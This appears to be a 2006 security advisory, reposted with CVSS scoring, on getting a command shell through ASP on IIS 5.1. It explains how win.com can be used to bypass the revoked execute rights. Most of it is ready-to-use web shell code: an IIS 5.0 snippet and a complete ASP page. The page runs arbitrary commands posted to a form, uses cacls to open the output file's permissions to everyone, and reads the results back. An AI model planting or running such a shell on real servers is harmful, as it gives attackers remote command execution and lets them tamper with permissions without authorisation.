ASP Cmd Shell On IIS 5.1

2006.12.18
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

======================================================================== ==== % ASP Cmd Shell On IIS 5.1 % brett.moore (at) security-assessment (dot) com [email concealed] ======================================================================== ==== ASP shells have been around since the dawn of time. On IIS 5.0 and prior it was simple to create a 'command prompt shell' using code similar to; <% Set oS = Server.CreateObject("WSCRIPT.SHELL") output = oS.exec("cmd.exe > /c " & request("command")).stdout.readall response.write output %> Permissions changes in IIS 5.1 prevented this method from working as execution access was revoked to the IUSR_Machine user. During one boring afternoon it was decided to find a way around this, and what we found was 'slightly' interesting. When IIS checks to see if an executable has 'execute' rights it is checking against IUSR_Machine. If execute rights are granted then the new process is created, under the IWAM_Machine account. Thus all that was needed was an executable that could be run by IUSR_Machine and would then spawn an instance of cmd.exe. We set about seeing what executables could be run by IUSR_Machine. It turns out that execution access has been revoked to all files with the .exe extension. We did however locate several .com files that could still be executed. One in particular 'win.com' takes a command line as a parameter and will execute it. Because of the 'double spawning' we can not make use of .stdout.readall, and need to revert to outputting to a file, and reading it back in. Due to the process executing under a different account than that of the ASP processor, we need to jump through a couple of hoops. * The folder that we use must be WRITEABLE by IWAM_Machine * The folder that we use must be READABLE by IUSR_Machine * We need to alter file permissions to allow IUSR_Machine access to read the file created by IWAM_Machine The accesschk tool from sysinternals, can easily identify a valid location. Our testings came up with c:windowspchealthERRORREPQHEADLES IIS6.0 revokes access to both IUSR_Machine and IWAM_Machine, and therefore this technique will not work on that platform. ------------------------------------------------------------------------ ---- <% Dim oS,oSNet,oFSys, oF,szCMD, szTF On Error Resume Next Set oS = Server.CreateObject("WSCRIPT.SHELL") Set oSNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form("C") If (szCMD <> "") Then szTF = "c:windowspchealthERRORREPQHEADLES" & oFSys.GetTempName() ' Here we do the command Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF & """",0,True) response.write szTF ' Change perms Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G everyone:F",0,True) Set oF = oFSys.OpenTextFile(szTF,1,False,0) End If %> <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name="C" size=70 value="<%= szCMD %>"> <input type=submit value="Run"></FORM><PRE> Machine: <%=oSNet.ComputerName%><BR> Username: <%=oSNet.UserName%><br> <% If (IsObject(oF)) Then On Error Resume Next Response.Write Server.HTMLEncode(oF.ReadAll) oF.Close Call oS.Run("win.com cmd.exe /c del "& szTF,0,True) End If %> ======================================================================== ==== % ======================================================================== ====


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